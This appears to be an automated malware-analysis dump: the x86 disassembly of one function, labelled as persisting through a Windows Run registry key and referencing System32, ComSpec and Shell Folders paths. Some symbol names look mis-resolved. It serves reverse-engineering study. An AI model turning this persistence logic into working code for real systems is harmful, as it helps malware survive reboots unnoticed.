Function at 0x10001579
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push 8
call fcn.10002068
add esp, 4
mov dword [ebp - 4], eax
mov edi, eax
mov esi, 0x10097bd2
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 8], 0
mov eax, 0x10097ac5
push eax
mov ebx, eax
call fcn.10001532
pop eax
sub ebx, eax
push ecx
push ebx
push eax
shl ecx, 2
add ecx, ebx
push ecx
call fcn.10002068
add esp, 4
pop esi
mov edi, eax
pop ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
test ecx, ecx
je 0x10001601
push eax
lodsd eax, dword [esi]
push esi
push edi
push ecx
test eax, eax
je 0x100015f5
push eax
mov ebx, eax
call fcn.1000119f
inc eax
push eax
call fcn.10002068
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop ecx
pop edi
pop esi
stosd dword es:[edi], eax
dec ecx
jne 0x100015d8
pop eax
push eax
mov ebx, dword [ebp - 4]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10001620
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1000161c
imul eax, dword [ebx]
jmp 0x10001611
mov ecx, eax
test ecx, ecx
je 0x1000163f
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10001638
push ebx
push eax
call fcn.10002044
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10001626
call fcn.10002044
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x23
mov ebx, dword [ebp - 4]
call fcn.10001532
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10001679
push 0x334
push 0x4010033
push 4
call fcn.10002056
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10001696
push 0x334
push 0x4010033
push 1
call fcn.10002056
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0xc], ebx
push getpeername
push 0
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x100016b3
mov eax, 0x100978ca
push eax
push 1
mov ebx, 0x100024d0
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x10], eax
push 0x10097ab8
push dword [ebp - 0x10]
call fcn.10001028
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100016f7
push ebx
call fcn.10002044
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x1000171e
push 0
mov ebx, 0x10002160
call fcn.1000204a
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
jmp 0x10001cc8
mov ebx, dword [ebp - 4]
call fcn.10001532
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10001745
push 0x3b5
push 0x4010033
push 4
call fcn.10002056
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10001762
push 0x3b5
push 0x4010033
push 1
call fcn.10002056
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0xc], ebx
push getpeername
push 0
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x1000177f
mov eax, 0x100978ca
push eax
push 1
mov ebx, 0x100024d0
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x10], eax
push getpeername
push 0
push str.System32
push 1
mov ebx, 0x100024d0
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
push dword [ebp - 0x10]
call fcn.10001028
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100017e3
push ebx
call fcn.10002044
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100017f3
push ebx
call fcn.10002044
add esp, 4
cmp dword [ebp - 0x18], 0
je 0x100018f9
push getpeername
push 0
push str.ComSpec
push 1
mov ebx, 0x10002180
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0xc], eax
push getpeername
push 0
push str.ComSpec
push 1
mov ebx, 0x10002180
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x10], eax
push closesocket
push 0
push 0
push 0
push 0
push 0
push getpeername
push 0
push 0x1009789e
push getpeername
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x10001870
mov eax, 0x100978ca
push eax
push 4
mov ebx, 0x10002340
call fcn.1000204a
add esp, 0x34
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10001896
push ebx
call fcn.10002044
add esp, 4
fild dword [ebp - 0x14]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fsub qword [0x10097b81]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
call fcn.10001552
push 0x80000301
push 0
push eax
push getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x100018cb
mov eax, 0x100978ca
push eax
push 2
mov ebx, 0x100021a0
call fcn.1000204a
add esp, 0x1c
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x100018f1
push ebx
call fcn.10002044
add esp, 4
mov eax, dword [ebp - 0x28]
jmp 0x10001cc8
mov ebx, dword [ebp - 4]
call fcn.10001532
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10001920
push 0x4d1
push 0x4010033
push 4
call fcn.10002056
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1000193d
push 0x4d1
push 0x4010033
push 1
call fcn.10002056
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0xc], ebx
push getpeername
push 0
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x1000195a
mov eax, 0x100978ca
push eax
push 1
mov ebx, 0x100024d0
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x10], eax
push getpeername
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x10001983
mov eax, 0x100978ca
push eax
push 1
mov ebx, 0x10002180
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100019a9
push ebx
call fcn.10002044
add esp, 4
push 0x100978ca
push dword [ebp - 0x14]
call fcn.10001028
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100019d7
push ebx
call fcn.10002044
add esp, 4
cmp dword [ebp - 0x18], 0
je 0x10001a99
mov ebx, dword [ebp - 4]
call fcn.10001532
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10001a08
push 0x51f
push 0x4010033
push 4
call fcn.10002056
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10001a25
push 0x51f
push 0x4010033
push 1
call fcn.10002056
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0xc], ebx
push getpeername
push 0
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x10001a42
mov eax, 0x100978ca
push eax
push 1
mov ebx, 0x100024d0
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x10], eax
push getpeername
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x10001a6b
mov eax, 0x100978ca
push eax
push 1
mov ebx, 0x10002180
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10001a91
push ebx
call fcn.10002044
add esp, 4
mov eax, dword [ebp - 0x14]
jmp 0x10001cc8
mov ebx, dword [ebp - 4]
call fcn.10001532
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10001ac0
push 0x5b0
push 0x4010033
push 4
call fcn.10002056
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10001add
push 0x5b0
push 0x4010033
push 1
call fcn.10002056
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0xc], ebx
push getpeername
push 0
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x10001afa
mov eax, 0x100978ca
push eax
push 1
mov ebx, 0x100024d0
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x10], eax
push 0x80000301
push 0
push 6
push getpeername
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x10001b2f
mov eax, 0x100978ca
push eax
push 2
mov ebx, 0x100021a0
call fcn.1000204a
add esp, 0x1c
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10001b55
push ebx
call fcn.10002044
add esp, 4
push getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10001b68
mov eax, 0x100978ca
push eax
push 1
mov ebx, 0x100024d0
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10001b8e
push ebx
call fcn.10002044
add esp, 4
push 0x10097b89
push dword [ebp - 0x18]
call fcn.10001028
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10001bbc
push ebx
call fcn.10002044
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x10001bd0
mov eax, 4
jmp 0x10001bd5
mov eax, 3
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 4]
call fcn.10001532
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10001bff
push 0x64d
push 0x4010033
push 4
call fcn.10002056
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10001c1c
push 0x64d
push 0x4010033
push 1
call fcn.10002056
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push getpeername
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x10001c39
mov eax, 0x100978ca
push eax
push 1
mov ebx, 0x100024d0
call fcn.1000204a
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders_
mov ecx, 2
call fcn.1000120a
add esp, 8
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x10001c77
push ebx
call fcn.10002044
add esp, 4
push 0
push 0
push 0
push getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x10001c90
mov eax, 0x100978ca
push eax
push 0x80000301
push 0
push dword [ebp - 0x20]
push 3
mov ebx, 0x10002c70
call fcn.1000204a
add esp, 0x28
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10001cc0
push ebx
call fcn.10002044
add esp, 4
mov eax, dword [ebp - 0x30]
jmp 0x10001cc8
push eax
mov ebx, dword [ebp - 4]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10001ce7
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10001ce3
imul eax, dword [ebx]
jmp 0x10001cd8
mov ecx, eax
test ecx, ecx
je 0x10001d06
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10001cff
push ebx
push eax
call fcn.10002044
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10001ced
call fcn.10002044
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret